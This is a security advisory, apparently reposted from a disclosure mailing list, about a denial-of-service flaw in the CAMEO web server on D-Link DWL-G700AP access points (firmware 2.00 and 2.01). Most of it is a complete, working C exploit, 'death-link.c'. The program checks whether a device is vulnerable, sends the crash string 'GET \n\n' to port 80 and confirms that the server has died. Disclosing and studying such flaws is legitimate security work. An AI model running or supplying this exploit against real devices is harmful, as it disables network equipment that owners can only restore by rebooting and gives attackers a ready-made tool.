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D-Link DWL-G700AP httpd DoS
------------------------------------------------------------------------
SUMMARY
"The <http://www.dlink.com/products/?sec=0&pid=326> DWL-G700AP is Wi-Fi
IEEE 802.11g compliant, meaning that it can connect and interoperate with
other 802.11g compatible wireless client devices. "
By crafting a special HTTP GET string, attackers can DoS the D-Link
DWL-G700A and cause the HTTP server to crash.
DETAILS
Vulnerable Systems:
* D-Link DWL-G700AP firmware version 2.00
* D-Link DWL-G700AP firmware version 2.01
The DWL-G700AP is an access point from D-Link with a configuration
interface using HTTP service which is managed from a HTTPD called "CAMEO".
This web server is very easy to DoS because all you have to do is send the
AP the following string: "GET \n\n".
Exploit:
/*
death-link.c
------------------------
written by l0om
WWW.EXCLUDED.ORG
------------------------
exploit tested on firmware: v2.00 and the latest v2.01
remote DoS exploit for the CAMEO-httpd which is running
on the D-Link
Accesspoint DWL-G700AP. After executing this the
accesspoint cannot be
configured anymore because the only way to administrate
the AP is the
administration with your browser. you have to reboot the
box to get the
httpd started again.
have phun!
// some greetings
maximilian, Prof. J. Dealer, Theldens, Commander Jansen,
ole, detach,
mattball, molke, murfie, vy99
excluded.org people, IT31 people
// the guys who made exploiting possible with buying this
AP
joerres, hermanns, schubert
*/
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define DOSSTRING "GET \n\n"
#define TARGET "CAMEO-httpd"
#define DESTPORT 80
int alive(char *ip);
int check_httpd(char *ip);
void help(void);
void header(void);
int DoS(char *ip);
int main(int argc, char **argv)
{
int fd, i, check = 0;
char *ip = NULL;
header();
if(argc > 1)
for(i = 1; i < argc; i++)
if(argv[i][0] == '-')
switch(argv[i][1]) {
case 'o':
check = 2;
break;
case 'c':
check = 1;
break;
case 'h':
help();
break;
default:
printf("\t>> %s << unknown option\n",argv[i]);
exit(-1);
}
else ip = argv[i];
if(ip == NULL) help();
if(check) {
printf("\tchecking target... ");
fflush(stdout);
i = check_httpd(ip);
if(i <= 0) {
printf("faild! ");
if(!i) printf("invalid
target webserver\n");
else printf("webserver
already dead?\n");
exit(-1);
}
else printf("done! valid victim
detected\n");
if(check == 2) return 0;
}
printf("\tsending DoS... "); fflush(stdout);
if(DoS(ip) <= 0) {
printf("faild!\n");
return -1;
} else printf("done!\n");
sleep(1);
printf("\tchecking webserver status... ");
fflush(stdout);
if(!alive(ip)) printf("%s DEAD\n",TARGET);
else printf("%s on %s is still alive :( \n",TARGET,ip);
return 0;
}
int check_httpd(char *ip)
{
int sockfd, nbytes, len, i = 0;
char buf[500], pattern[] = TARGET, *ptr;
struct sockaddr_in servaddr;
if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(-1);
}
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(DESTPORT);
servaddr.sin_addr.s_addr = inet_addr(ip);
if(connect(sockfd, (struct sockaddr *)&servaddr,
sizeof(servaddr)) == -1)
return -1;
if(!write(sockfd, "GET / HTTP/1.0\n\n", 16))
return 0;
else nbytes = read(sockfd, buf, 500);
len = strlen(pattern);
ptr = buf;
while(nbytes--) {
if(*ptr == pattern[i])
i++;
else i = 0;
if(i == len) return 1;
else ptr++;
}
return 0;
}
int alive(char *ip)
{
int sockfd, nbytes, len, i = 0;
char buf[500], pattern[] = TARGET, *ptr;
struct sockaddr_in servaddr;
if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(-1);
}
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(DESTPORT);
servaddr.sin_addr.s_addr = inet_addr(ip);
if(connect(sockfd, (struct sockaddr *)&servaddr,
sizeof(servaddr)) == -1)
return 0;
else return 1;
}
int DoS(char *ip)
{
int sockfd, nbytes, len, i = 0;
char buf[500], pattern[] = TARGET, *ptr;
struct sockaddr_in servaddr;
if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(-1);
}
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(DESTPORT);
servaddr.sin_addr.s_addr = inet_addr(ip);
if(connect(sockfd, (struct sockaddr *)&servaddr,
sizeof(servaddr)) == -1)
return 0;
else return(write(sockfd, DOSSTRING, strlen(DOSSTRING)));
}
void help(void)
{
printf("\tdeath-link [options] <ip-address>\n");
printf("\t-o: ONLY CHECK for valid target\n");
printf("\t-c: check for valid target\n");
printf("\t-h: help\n");
exit(0);
}
void header(void)
{
printf("\tdeath-link - written by l0om\n");
printf("\t WWW.EXCLUDED.ORG\n");
printf("\tDoS %s D-Link DWL-G700AP\n\n",TARGET);
}
/* EoF */
ADDITIONAL INFORMATION
The information has been provided by <mailto:innate@gmx.de> l0om.
The original article can be found at:
<http://www.securityfocus.com/archive/1/425169/30/0/threaded>
http://www.securityfocus.com/archive/1/425169/30/0/threaded
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